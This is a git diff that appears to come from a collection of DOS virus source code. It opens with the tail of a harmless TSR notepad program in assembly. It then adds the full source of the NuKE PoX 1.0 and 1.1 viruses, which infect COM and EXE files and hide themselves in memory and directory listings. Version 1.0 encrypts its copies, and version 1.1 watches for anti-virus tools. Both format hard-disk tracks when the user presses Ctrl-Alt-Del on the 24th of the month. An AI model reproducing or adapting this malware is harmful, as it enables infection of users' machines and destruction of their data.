;Save the used registers for good form + PUSH BX + PUSH CX + PUSH DX + PUSH DI + PUSH SI + PUSH DS + PUSH ES + PUSHF ;First, call old keyboard interrupt + CALL OLD_KEYBOARD_INT + + ASSUME DS:ROM_BIOS_DATA ;Examine the char just put in + MOV BX,ROM_BIOS_DATA + MOV DS,BX + MOV BX,TAIL ;Point to current tail + CMP BX,HEAD ;If at head, kbd int has deleted char + JE IN ;So leave + SUB BX,2 ;Point to just read in character + CMP BX,OFFSET BUFFER ;Did we undershoot buffer? + JAE NO_WRAP ;Nope + MOV BX,OFFSET BUFFER_END ;Yes -- move to buffer top + SUB BX,2 +NO_WRAP:MOV DX,[BX] ;Char in DX now + CMP DX,310EH ;Is the char a Cntrl-N? + JNE NOT_CNTRL_N ;No + MOV TAIL,BX ;Yes -- delete it from buffer + NOT CNTRL_N_FLAG ;Switch Modes + CMP CNTRL_N_FLAG,0 ;Cntrl-N off? + JNE CNTRL_N_ON ;No, only other choice is on +CNTRL_N_OFF: + MOV ATTRIBUTE,7 ;Set up for normal video + MOV PAD_OFFSET,250 ;Point to 2nd half of pad + LEA AX,PUT_CHAR ;Make IO call Put_Char as it scans + MOV IO_CHAR,AX ;over all locations in pad on screen + CALL IO ;Restore screen +IN: JMP OUT ;Done +CNTRL_N_ON: + MOV PAD_OFFSET,250 ;Point to screen stroage part of pad + LEA AX,GET_CHAR ;Make IO use Get_char so current screen + MOV IO_CHAR,AX ;is stored + CALL IO ;Store Screen + CALL DISPLAY ;And put up the pad + JMP OUT ;Done here. +NOT_CNTRL_N: + TEST CNTRL_N_FLAG,1 ;Is Cntrl-N on? + JZ IN ;No -- leave + MOV TAIL,BX ;Yes, delete this char from buffer + CMP DX,5300H ;Decide what to do -- is it a Delete? + JNE RUBOUT_TEST ;No -- try Rubout + MOV BX,249 ;Yes -- fill pad with spaces +DEL_LOOP: + MOV PAD[BX],' ' ;Move space to current pad position + DEC BX ;and go back one + JNZ DEL_LOOP ;until done. + MOV PAD,'_' ;Put the cursor at the beginning + MOV PAD_CURSOR,0 ;And start cursor over + CALL DISPLAY ;Put up the new pad on screen + JMP OUT ;And take our leave +RUBOUT_TEST: + CMP DX,0E08H ;Is it a Rubout? + JNE CRLF_TEST ;No -- try carriage return-line feed + MOV BX,PAD_CURSOR ;Yes -- get current pad location + CMP BX,0 ;Are we at beginning? + JLE NEVER_MIND ;Yes -- can't rubout past beginning + MOV PAD[BX],' ' ;No -- move space to current position + MOV PAD[BX-1],'_' ;And move cursor back one + DEC PAD_CURSOR ;Set the pad location straight +NEVER_MIND: + CALL DISPLAY ;And put the result on the screen + JMP OUT ;Done here. +CRLF_TEST: + CMP DX,1C0DH ;Is it a carriage return-line feed? + JNE CHAR_TEST ;No -- put it in the pad + CALL CRLF ;Yes -- move to next line + CALL DISPLAY ;And display result on screen + JMP OUT ;Done. +CHAR_TEST: + MOV BX,PAD_CURSOR ;Get current pad location + CMP BX,249 ;Are we past the end of the pad? + JGE PAST_END ;Yes -- throw away char + MOV PAD[BX],DL ;No -- move ASCII code into pad + MOV PAD[BX+1],'_' ;Advance cursor + INC PAD_CURSOR ;Increment pad location + PAST_END: + CALL DISPLAY ;Put result on screen +OUT: POP ES ;Having done Pushes, here are the Pops + POP DS + POP SI + POP DI + POP DX + POP CX + POP BX + POP AX + IRET ;An interrupt needs an IRET +N_PAD ENDP + +DISPLAY PROC NEAR ;Puts the whole pad on the screen + PUSH AX + MOV ATTRIBUTE,112 ;Use reverse video + MOV PAD_OFFSET,0 ;Use 1st 250 bytes of pad memory + LEA AX,PUT_CHAR ;Make IO use Put-Char so it does + MOV IO_CHAR,AX + CALL IO ;Put result on screen + POP AX + RET ;Leave +DISPLAY ENDP + +CRLF PROC NEAR ;This handles carriage returns + CMP PAD_CURSOR,225 ;Are we on last line? + JGE DONE ;Yes, can't do a carriage return, exit +NEXT_CHAR: + MOV BX,PAD_CURSOR ;Get pad location + MOV AX,BX ;Get another copy for destructive tests +EDGE_TEST: + CMP AX,24 ;Are we at the edge of the pad display? + JE AT_EDGE ;Yes -- fill pad with new cursor + JL ADD_SPACE ;No -- Advance another space + SUB AX,25 ;Subtract another line-width + JMP EDGE_TEST ;Check if at edge now +ADD_SPACE: + MOV PAD[BX],' ' ;Add a space + INC PAD_CURSOR ;Update pad location + JMP NEXT_CHAR ;Check if at edge now +AT_EDGE: + MOV PAD[BX+1],'_' ;Put cursor in next location + INC PAD_CURSOR ;Update pad location to new cursor +DONE: RET ;And out. +CRLF ENDP + +GET_CHAR PROC NEAR ;Gets a char from screen and advances position + PUSH DX + MOV SI,2 ;Loop twice, once for char, once for attribute + MOV DX,STATUS_PORT ;Get ready to read video controller status +G_WAIT_LOW: ;Start waiting for a new horizontal scan - + IN AL,DX ;Make sure the video controller scan status + TEST AL,1 ;is low + JNZ G_WAIT_LOW +G_WAIT_HIGH: ;After port has gone low, it must go high + IN AL,DX ;before it is safe to read directly from + TEST AL,1 ;the screen buffer in memory + JZ G_WAIT_HIGH + MOV AH,ES:[DI] ;Do the move from the screen, one byte at a time + INC DI ;Move to next screen location + DEC SI ;Decrement loop counter + CMP SI,0 ;Are we done? + JE LEAVE ;Yes + MOV PAD[BX],AH ;No -- put char we got into the pad + JMP G_WAIT_LOW ;Do it again +LEAVE: INC BX ;Update pad location + POP DX + RET +GET_CHAR ENDP + +PUT_CHAR PROC NEAR ;Puts one char on screen and advances position + PUSH DX + MOV AH,PAD[BX] ;Get the char to be put onto the screen + MOV SI,2 ;Loop twice, once for char, once for attribute + MOV DX,STATUS_PORT ;Get ready to read video controller status +P_WAIT_LOW: ;Start waiting for a new horizontal scan - + IN AL,DX ;Make sure the video controller scan status + TEST AL,1 ;is low + JNZ P_WAIT_LOW +P_WAIT_HIGH: ;After port has gone low, it must go high + IN AL,DX ;before it is safe to write directly to + TEST AL,1 ;the screen buffer in memory + JZ P_WAIT_HIGH + MOV ES:[DI],AH ;Move to screen, one byte at a time + MOV AH,ATTRIBUTE ;Load attribute byte for second pass + INC DI ;Point to next screen postion + DEC SI ;Decrement loop counter + JNZ P_WAIT_LOW ;If not zero, do it one more time + INC BX ;Point to next char in pad + POP DX + RET ;Exeunt +PUT_CHAR ENDP + +IO PROC NEAR ;This scans over all screen positions of the pad + ASSUME ES:SCREEN ;Use screen as extra segment + MOV BX,SCREEN + MOV ES,BX + MOV DI,SCREEN_SEG_OFFSET ;DI will be pointer to screen postion + ADD DI,FIRST_POSITION ;Add width of screen minus pad width + MOV BX,PAD_OFFSET ;BX will be pad location pointer + MOV CX,10 ;There will be 10 lines +LINE_LOOP: + MOV DX,25 ;And 25 spaces across +CHAR_LOOP: + CALL IO_CHAR ;Call Put-Char or Get-Char + DEC DX ;Decrement character loop counter + JNZ CHAR_LOOP ;If not zero, scan over next character + ADD DI,FIRST_POSITION ;Add width of screen minus pad width + LOOP LINE_LOOP ;And now go back to do next line + RET ;Finished +IO ENDP + +LOAD_PAD PROC NEAR ;This procedure intializes everything + ASSUME DS:INTERRUPTS ;The data segment will be the Interrupt area + MOV AX,INTERRUPTS + MOV DS,AX + + MOV AX,KEYBOARD_INT ;Get the old interrupt service routine + MOV OLD_KEYBOARD_INT,AX ;address and put it into our location + MOV AX,KEYBOARD_INT[2] ;OLD_KEYBOARD_INT so we can call it. + MOV OLD_KEYBOARD_INT[2],AX + + MOV KEYBOARD_INT,OFFSET N_PAD ;Now load the address of our notepad + MOV KEYBOARD_INT[2],CS ;routine into the keyboard interrupt + + MOV AH,15 ;Ask for service 15 of INT 10H + INT 10H ;This tells us how display is set up + SUB AH,25 ;Move to twenty places before edge + SHL AH,1 ;Mult by two (char & attribute bytes) + MOV BYTE PTR FIRST_POSITION,AH ;Set screen cursor + MOV STATUS_PORT,03BAH ;Assume this is a monochrome display + TEST AL,4 ;Is it? + JNZ EXIT ;Yes - jump out + MOV SCREEN_SEG_OFFSET,8000H ;No - set up for graphics display + MOV STATUS_PORT,03DAH + +EXIT: MOV DX,OFFSET LOAD_PAD ;Set up everything but LOAD_PAD to + INT 27H ;stay and attach itself to DOS +LOAD_PAD ENDP + + CODE_SEG ENDS + + END FIRST ;END "FIRST" so 8088 will go to FIRST first. + + + + + + + + + \ No newline at end of file diff --git a/n/NPOX-V10.ASM b/n/NPOX-V10.ASM new file mode 100755 index 0000000..a74c1b7 --- /dev/null +++ b/n/NPOX-V10.ASM @@ -0,0 +1,346 @@ +;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +;-* (c) Rock Steady, Viral Developments -* +;*- (c) NuKE Software Developement 1991, 1992 *- +;-* Virus: NuKE PoX Version 1.0 (Alias `Mutating Rocko') -* +;*- ~~~~~~ *- +;-* Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness -* +;*- ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different *- +;-* Encrypted Copies of the Virus) -* +;*- Bytes: 609 Bytes Memory: (609 * 2) = 1,218 Bytes *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +crypt_size equ crypt - init_virus ;All that gets Incrypted +virus_size equ last - init_virus ;Size of the Virus +mut1 equ 3 +mut2 equ 1 +mut3 equ 103h +del_code equ 53h ;CTRL-ATL-DEL Key +seg_a segment byte public + assume cs:seg_a, ds:seg_a + org 100h +rocko proc far + +start: jmp init_virus ;+3 bytes +;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +init_virus: call decrypt ;Decryption Routine Please ;+3 Bytes + call doit_now ;Doit VirusMan... ;+3 Bytes + ;======== +doit_now: pop bp ;Anything ABOVE THIS LINE 9 Bytes + sub bp,109h ;have to be added to the 100h! This + push ax ;SETs our `Delta Pointer'. + push bx + push cx + push dx ;Save registers + push si + push di + push bp + push es + push ds + + mov ax,0abcdh ;Are we resident Already? + int 21h + cmp bx,0abcdh ;Yupe... Quit Then... + je exit_com + + push cs ;Get CS=DS + pop ds + mov cx,es + + mov ax,3509h ;Hook Int 9 Please... + int 21h + mov word ptr cs:[int9+2][bp],es ;Save Orignal Int 9h + mov word ptr cs:[int9][bp],bx ;Save Orignal Int 9h + + mov ax,3521h ;Some AVs may INTCEPT this Call! + int 21h ;May be better to go Manually... + mov word ptr cs:[int21+2][bp],es ;Save the Int + mov word ptr cs:[int21][bp],bx ;Vector Table + + dec cx ;Get a new Memory block + mov es,cx ;Put it Back to ES + mov bx,es:mut1 + mov dx,virus_size+virus_size ;Size to `Hide' + mov cl,4 ;And all this crap hides + shr dx,cl ;your number of bytes in DX + add dx,4 + mov cx,es + sub bx,dx + inc cx + mov es,cx + mov ah,4ah ;Call int to do it... + int 21h + + jc exit_com + mov ah,48h + dec dx + mov bx,dx ;It's Done... Yeah! + int 21h + + jc exit_com + dec ax + mov es,ax + mov cx,8h ;Here we move our Virus into + mov es:mut2,cx ;the `Hidden' memory! + sub ax,0fh + mov di,mut3 + mov es,ax + mov si,bp + add si,offset init_virus + mov cx,virus_size + cld + repne movsb + + mov ax,2521h ;Restore Int21 with ours + mov dx,offset int21_handler ;Where it starts + push es + pop ds + int 21h + + mov ax,2509h ;Restore Int9 with ours + mov dx,offset int9_handler ;The Handler... + int 21h + + push cs + pop ds +exit_com: + mov bx,offset buffer ; Its a COM file restore + add bx,bp ; First three Bytes... + mov ax,[bx] ; Mov the Byte to AX + mov word ptr ds:[100h],ax ; First two bytes Restored + add bx,2 ; Get the next Byte + mov al,[bx] ; Move the Byte to AL + mov byte ptr ds:[102h],al ; Restore the Last of 3 Byt + pop ds + pop es + pop bp ; Restore Regesters + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ax,100h ; Jump Back to Beginning + push ax ; Restores our IP (a CALL + retn ; Saves them, now we change +int21 dd ? ;Our Old Int21 +int9 dd ? ;Our Old Int9 +;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int9_handler: + push ax + in al,60h ;Has the user attempted a + cmp al,del_code ;CTRL-ALT-DEL + je warm_reboot ;Yes! Screw him +bye_bye: pop ax + jmp dword ptr cs:[int9] ;Nope, Leave alone +warm_reboot: + mov ah,2ah ;Get Date Please + int 21h + cmp dl,18h ;Is it 24th of the Month? + jne bye_bye ;Yes, bye_Bye HD + mov ch,0 +hurt_me: mov ah,05h + mov dh,0 + mov dl,80h ;Formats a few tracks... + int 13h ;Hurts So good... + inc ch + cmp ch,20h + loopne hurt_me + db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot! + iret +;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +dir_handler: + pushf + push cs + call int21call ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + + mov es,bx + cmp bx,es:[16h] + jnz not_infected ;Not for us man... + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,1dh ;Is in 58 seconds? + jnz not_infected ;Nope... + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],virus_size ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected:pop es + pop bx + pop ax +no_good: iret +;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int21_handler: + cmp ax,4b00h ;File executed + je execute + cmp ah,11h ;Dir handler + je dir_handler + cmp ah,12h ;Next file Dir handler + je dir_handler + cmp ax,0abcdh ;Virus testing + jne int21call + mov bx,0abcdh +int21call: + jmp dword ptr cs:[int21] ;Split... + ret +execute: + push ax + push bx + push cx + push dx + push si + push di + push es + push ds + + mov ax,4300h ;Get file Attribs + int 21h + jc exit + + test cl,1h ;Make sure there normal + jz open_file ;Okay there are + and cl,0feh ;Nope, Fix them... + mov ax,4301h ;Save them now + int 21h + jc exit + +open_file: mov ax,3D02h + int 21h ;Open File to Infect please + + jc exit ;Error Split + mov bx,ax ;BX File handler + mov ax,5700h ;Get file TIME + DATE + int 21h + + mov al,cl + or cl,1fh ;Un mask Seconds + dec cx ;60 seconds + dec cx ;58 seconds + xor al,cl ;Is it 58 seconds? + jz exit ;File already infected + + push cs + pop ds + mov word ptr ds:[old_time],cx ;Save Time + mov word ptr ds:[old_date],dx ;Save Date + + mov ah,3Fh + mov cx,3h + mov dx,offset ds:[buffer] ;Read first 3 bytes + int 21h + + jc exit_now ;Error Split + mov ax,4202h ;Move file pointer to end + xor cx,cx ;of file... + xor dx,dx + int 21h + + jc exit_now ;Error Split + cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE? + je exit ;Yupe! Split + mov cx,ax + sub cx,3 ;Set the JMP + mov word ptr cs:[jump_address+1],cx + call infect_me ;Infect! + jc exit_now ;error split + mov ah,40h ;Write back the first 3 + mov dx,offset ds:[jump_address] ;bytes + mov cx,3h + int 21h +exit_now: + mov cx,word ptr cs:[old_time] ;Restore old time + mov dx,word ptr cs:[old_date] ;Restore Old date + mov ax,5701h + int 21h + + mov ah,3Eh + int 21h ;Close File now... +exit: + pop ds + pop es + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp dword ptr cs:[int21] ;Jmp back to whatever +rocko endp +;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +infect_me proc near + mov ah,2ch ;Get Time + int 21h + push dx ;Split seconds to AX + pop ax + mov byte ptr cs:[value],al ;AL = 0 to 99 + ;New Encryption Value + mov cx,virus_size + push cs + pop es ;Copy ANOTHER copy of the + mov si,offset init_virus ;Virus to the end of us + mov di,offset last + repne movsb + + mov cx,crypt_size + sub cx,3h ;Encrypt that 2nd copy! + push bp + mov bp,offset last + 3h + call decrypt_encrypt + pop bp + + mov ah,40h ;Write the New Encrypted + mov dx,offset last ;Virus to File! + mov cx,virus_size + int 21h + + jc exit_error ;Error Split + mov ax,4200h + xor cx,cx ;Pointer back to beginning + xor dx,dx ;file! + int 21h + + jc exit_error ;Split Dude... + clc ;Clear carry flag + retn +exit_error: + stc ;Set carry flag + retn +infect_me endp +old_time dw ? +old_date dw ? +jump_address db 0E9h,90h,90h +buffer db 90h,0CDh,020h +crypt: +msgs db "(c) Rock Steady/NuKE" ;No other than `Moi'... +;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*- +decrypt proc near + pop bp + push bp + mov al,byte ptr [value-106h][bp] ;Get new Encryption + mov cx,crypt_size ;Value +decrypt_encrypt: + xor cs:[bp],al ;Fuck Scanners and put a +;*************************************************************************** + not al + inc bp ;`NOT AL' anywhere here... + loop decrypt_encrypt + retn +value db 00h ;Encryption value! +decrypt endp +last: +seg_a ends + end start diff --git a/n/NPOX-V11.ASM b/n/NPOX-V11.ASM new file mode 100755 index 0000000..9d1a171 --- /dev/null +++ b/n/NPOX-V11.ASM @@ -0,0 +1,497 @@ +;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +;-* (c) Rock Steady, Viral Developments -* +;*- (c) NuKE Software Developement 1991, 1992 *- +;-* Virus: NuKE PoX Version 1.1 (Alias: Evil Genius, NPox) -* +;*- ~~~~~~ *- +;-* Notes: Resident EXE & COM Infecting, Memory Stealth, Directory -* +;*- ~~~~~~ Stealth (FCB Method), Anti-Viral Products Aware, Infects *- +;-* COMMAND.COM on first Run, CTRL-ALT-DEL Aware... -* +;*- Bytes: 963 Bytes Memory: 963 Bytes *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +virus_size equ last - init_virus +mut1 equ 3 +mut2 equ 1 +mut3 equ 103h +del_code equ 53h + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + org 100h +rocko proc far + +start: jmp init_virus +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Virus Begins Here... +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +init_virus: + call doit_now ;Doit VirusMan... + +doit_now: pop bp ;Not to Lose Track + sub bp,106h ;Set our position + push ax ;Save all the registers + push bx + push cx + push dx + push si + push di + push bp + push es + push ds + + mov ax,7bcdh ;Are we resident Already? + int 21h + cmp bx,7bcdh ;Yupe... Quit Then... + je exit_com + + xor bx,bx + push cs ;Get CS=DS + pop ds + mov cx,es + + mov ax,3509h ;Hook Int 9 Please... + int 21h + mov word ptr cs:[int9+2][bp],es + mov word ptr cs:[int9][bp],bx + + mov ax,3521h ;Sometimes tend to intercept + int 21h ;This Interrupt... + mov word ptr cs:[int21+2][bp],es ;Save the Int + mov word ptr cs:[int21][bp],bx ;Vector Table + + dec cx ;Get a new Memory block + mov es,cx ;Put it Back to ES + mov bx,es:mut1 + mov dx,virus_size ;Size to `Hide' + mov cl,4 ;And all this crap hides + shr dx,cl ;your number od bytes in DX + add dx,4 + mov cx,es + sub bx,dx + inc cx + mov es,cx + mov ah,4ah ;Call int to do it... + int 21h + + jc exit_com + mov ah,48h + dec dx + mov bx,dx ;It's Done... Yeah! + int 21h + + jc exit_com + dec ax + mov es,ax + mov cx,8h ;Here we move our Virus into + mov es:mut2,cx ;the `Hidden' memory! + sub ax,0fh + mov di,mut3 + mov es,ax + mov si,bp + add si,offset init_virus + mov cx,virus_size + cld + repne movsb + + mov ax,2521h ;Restore Int21 with ours + mov dx,offset int21_handler ;Where it starts + push es + pop ds + int 21h + + mov ax,2509h ;Restore Int9 with ours + mov dx,offset int9_handler ;The Handler... + int 21h + + push cs + pop ds +exit_com: + cmp word ptr cs:[buffer][bp],5A4Dh + je exit_exe_file ;Its an EXE file... + mov bx,offset buffer ;Its a COM file restore + add bx,bp ;First three Bytes... + mov ax,[bx] ;Mov the Byte to AX + mov word ptr ds:[100h],ax ;First two bytes Restored + add bx,2 ;Get the next Byte + mov al,[bx] ;Move the Byte to AL + mov byte ptr ds:[102h],al ;Restore the Last of 3 Bytes + pop ds + pop es + pop bp ;Restore Regesters + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ax,100h ;Jump Back to Beginning + push ax ;Restores our IP (a CALL + retn ;Saves them, now we changed +int21 dd ? ;Our Old Int21 +int9 dd ? ;Our Old Int9 + +exit_exe_file: + mov bx,word ptr cs:[buffer+22][bp] ;Load CS Regester + mov dx,cs + sub dx,bx + mov ax,dx + add ax,word ptr cs:[exe_cs][bp] ;Get original CS + add dx,word ptr cs:[exe_ss][bp] ;Get original SS + mov bx,word ptr cs:[exe_ip][bp] ;Get original IP + mov word ptr cs:[fuck_yeah][bp],bx ;Restore IP + mov word ptr cs:[fuck_yeah+2][bp],ax ;Restore CS + mov ax,word ptr cs:[exe_sp][bp] ;Get original SP + mov word ptr cs:[Rock_Fix1][bp],dx ;Restore SS + mov word ptr cs:[Rock_Fix2][bp],ax ;Restore SP + pop ds + pop es + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + db 0B8h ;This is now a MOV AX,XXXX +Rock_Fix1: ;XXXX is the original SS + dw 0 ;Our XXXX Value + cli ;Disable Interrupts + mov ss,ax ;Mov it to SS + db 0BCh ;This is now a MOV SP,XXXX +Rock_Fix2: + dw 0 ;The XXXX Value for SP + sti ;Enable interrupts + db 0EAh ;JMP XXXX:YYYY +fuck_yeah: + dd 0 ;Dword IP:CS (Reverse order! +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Int 9 Handler +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int9_handler: ;Every TIME a KEY is pressed + push ax ;This ROUTINE is called! + in al,60h ;Has the user attempted a + cmp al,del_code ;CTRL-ALT-DEL + je warm_reboot ;Yes! Screw him +bye_bye: pop ax + jmp dword ptr cs:[int9] ;Nope, Leave system alone +warm_reboot: + mov ah,2ah ;Get Date Please + int 21h + cmp dl,18h ;Is it 24th of the Month? + jne bye_bye ;Yes, bye_Bye HD + mov ch,0 +hurt_me: mov ah,05h + mov dh,0 + mov dl,80h ;Formats a few tracks... + int 13h ;Hurts So good... + inc ch + cmp ch,20h + loopne hurt_me + db 0eah,0f0h,0ffh,0ffh,0ffh ;Reboot! + iret +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Dir Handler +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +dir_handler: + pushf + push cs + call int21call ;Get file Stats + test al,al ;Good FCB? + jnz no_good ;nope + push ax + push bx + push es + mov ah,51h ;Is this Undocmented? huh... + int 21h + + mov es,bx + cmp bx,es:[16h] + jnz not_infected ;Not for us man... + mov bx,dx + mov al,[bx] + push ax + mov ah,2fh ;Get file DTA + int 21h + + pop ax + inc al + jnz fcb_okay + add bx,7h +fcb_okay: mov ax,es:[bx+17h] + and ax,1fh ;UnMask Seconds Field + xor al,1dh ;Is in 58 seconds? + jnz not_infected ;Nope... + and byte ptr es:[bx+17h],0e0h + sub es:[bx+1dh],virus_size ;Yes minus virus size + sbb es:[bx+1fh],ax +not_infected: pop es + pop bx + pop ax +no_good: iret +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Int 21 Handler +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +int21_handler: + cmp ax,4b00h ;File executed + je execute + cmp ah,11h ;Dir handler + je dir_handler + cmp ah,12h ;Next file Dir handler + je dir_handler + cmp ax,7bcdh ;Virus testing + jne int21call + jmp execute +int21call: + jmp dword ptr cs:[int21] ;Split... +execute: + push ax + push bx + push cx + push dx + push si + push di + push es + push ds + + cmp ax,7bcdh ;Was Virus testing if it was + jne continue ;Alive? If No Continue + push cs + pop ds ;If Yes, Check if COMMAND.CO + mov dx,offset command ;Is infected! And return + jmp continue2 +continue: + call check_name ;Make sure file executed + jc exit_now ;Ain't a Anti-Viral program +continue2: ;With the CRC-32 checkers + mov ax,4300h ;Get file Attribs + int 21h + jc exit + + test cl,1h ;Make sure there normal + jz open_file ;Okay there are + and cl,0feh ;Nope, Fix them... + mov ax,4301h ;Save them now + int 21h + jc exit + +open_file: mov ax,3D02h + int 21h ;Open File to Infect please + + jc exit ;Error Split + mov bx,ax ;BX File handler + mov ax,5700h ;Get file TIME + DATE + int 21h + + mov al,cl + or cl,1fh ;Un mask Seconds + dec cx ;60 seconds + dec cx ;58 seconds + xor al,cl ;Is it 58 seconds? + jz exit ;File already infected + + push cs + pop ds + mov word ptr ds:[old_time],cx ;Save Time + mov word ptr ds:[old_date],dx ;Save Date + + mov ah,3Fh + mov cx,20h + mov dx,offset ds:[buffer] ;Read first 20h bytes + int 21h + + jc exit_now ;Error Split + mov ax,4202h ;Move file pointer to end of + xor cx,cx ;file... + xor dx,dx + int 21h + + jc exit_now ;Error Split + cmp word ptr cs:[buffer],5A4Dh ;Is file an EXE? + je exe_file ;JMP to EXE Infector + mov cx,ax + sub cx,3 ;Set the JMP + mov word ptr cs:[jump_address+1],cx + call infect_me ;Infect! + jc exit_now ;error split + mov ah,40h ;Write back the firs + mov dx,offset ds:[jump_address] ;bytes + mov cx,3h + int 21h +exit_now: + mov cx,word ptr cs:[old_time] ;Restore old time + mov dx,word ptr cs:[old_date] ;Restore Old date + mov ax,5701h + int 21h +exit_now2: + mov ah,3Eh + int 21h ;Close File now... +exit: + pop ds + pop es + pop di + pop si + pop dx + pop cx + pop bx + pop ax + cmp ax,7bcdh ;Virus checking if alive + jne leave_now ;No, Exit normally + mov bx,ax ;Yes, Fix BX with codez +leave_now: + jmp dword ptr cs:[int21] ;Jmp back to whatever +exe_file: + mov cx,word ptr cs:[buffer+20] ;IP Regester + mov word ptr cs:[exe_ip],cx ;Save IP Regester + mov cx,word ptr cs:[buffer+22] ;CS Regester + mov word ptr cs:[exe_cs],cx ;Save CS Regester + mov cx,word ptr cs:[buffer+16] ;SP Regester + mov word ptr cs:[exe_sp],cx ;Save SP Regester + mov cx,word ptr cs:[buffer+14] ;SS Regester + mov word ptr cs:[exe_ss],cx ;Save SS Regester + push ax + push dx + call multiply ;Figure a new CS:IP + sub dx,word ptr cs:[buffer+8] + mov word ptr cs:[buffer+22],dx ;Restore New CS + mov word ptr cs:[buffer+20],ax ;Restore New IP + pop dx + pop ax + add ax,virus_size + adc dx,0 + push ax + push dx + call multiply ;Figure a new SS:SP + sub dx,word ptr cs:[buffer+8] ;Exe Size (512 Usuall + add ax,40h + mov word ptr cs:[buffer+14],dx ;New SS Pointer + mov word ptr cs:[buffer+16],ax ;New SP Pointer + pop dx + pop ax + + push bx + push cx + mov cl,7 ;Fix for Header for + shl dx,cl ;new file size in 512 + ;byte pages + mov bx,ax + mov cl,9 ;And the remainder + shr bx,cl ;after dividing by + ;512... + add dx,bx + and ax,1FFh + jz outta_here + inc dx +outta_here: + pop cx + pop bx + + mov word ptr cs:[buffer+2],ax ;Save Remainder + mov word ptr cs:[buffer+4],dx ;Save Size in 512 pag + call infect_me ;INFECT File! Yeah! + jc exit_exe + + mov ah,40h ;Write NEW EXE Header back + mov dx,offset ds:[buffer] ;to EXE File! Points to + mov cx,20h ;The Virus Now!!! ehhe + int 21h +exit_exe: + jmp exit_now + +rocko endp + +exe_ip dw 0 ;Original IP,CS,SP,SS From EXE +exe_cs dw 0 ;Header! +exe_sp dw 0 +exe_ss dw 0 +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Infection Routine... +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +infect_me proc near + mov ah,40h ;Write the New Encrypted + mov dx,offset init_virus ;Virus to File! + mov cx,virus_size + int 21h + + jc exit_error ;Error Split + mov ax,4200h + xor cx,cx ;Pointer back to beginning + xor dx,dx ;file! + int 21h + + jc exit_error ;Split Dude... + clc ;Clear carry flag + retn +exit_error: + stc ;Set carry flag + retn +infect_me endp +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Fix EXE Header...Gets new SS, CS Values for EXEs headers +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +multiply proc near + push bx + push cx + mov cl,0Ch + shl dx,cl + + mov bx,ax + mov cl,4 + shr bx,cl + + add dx,bx + and ax,0Fh + pop cx + pop bx + retn +multiply endp +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +; Check to see if an `Anti-Viral' Product is being executed. 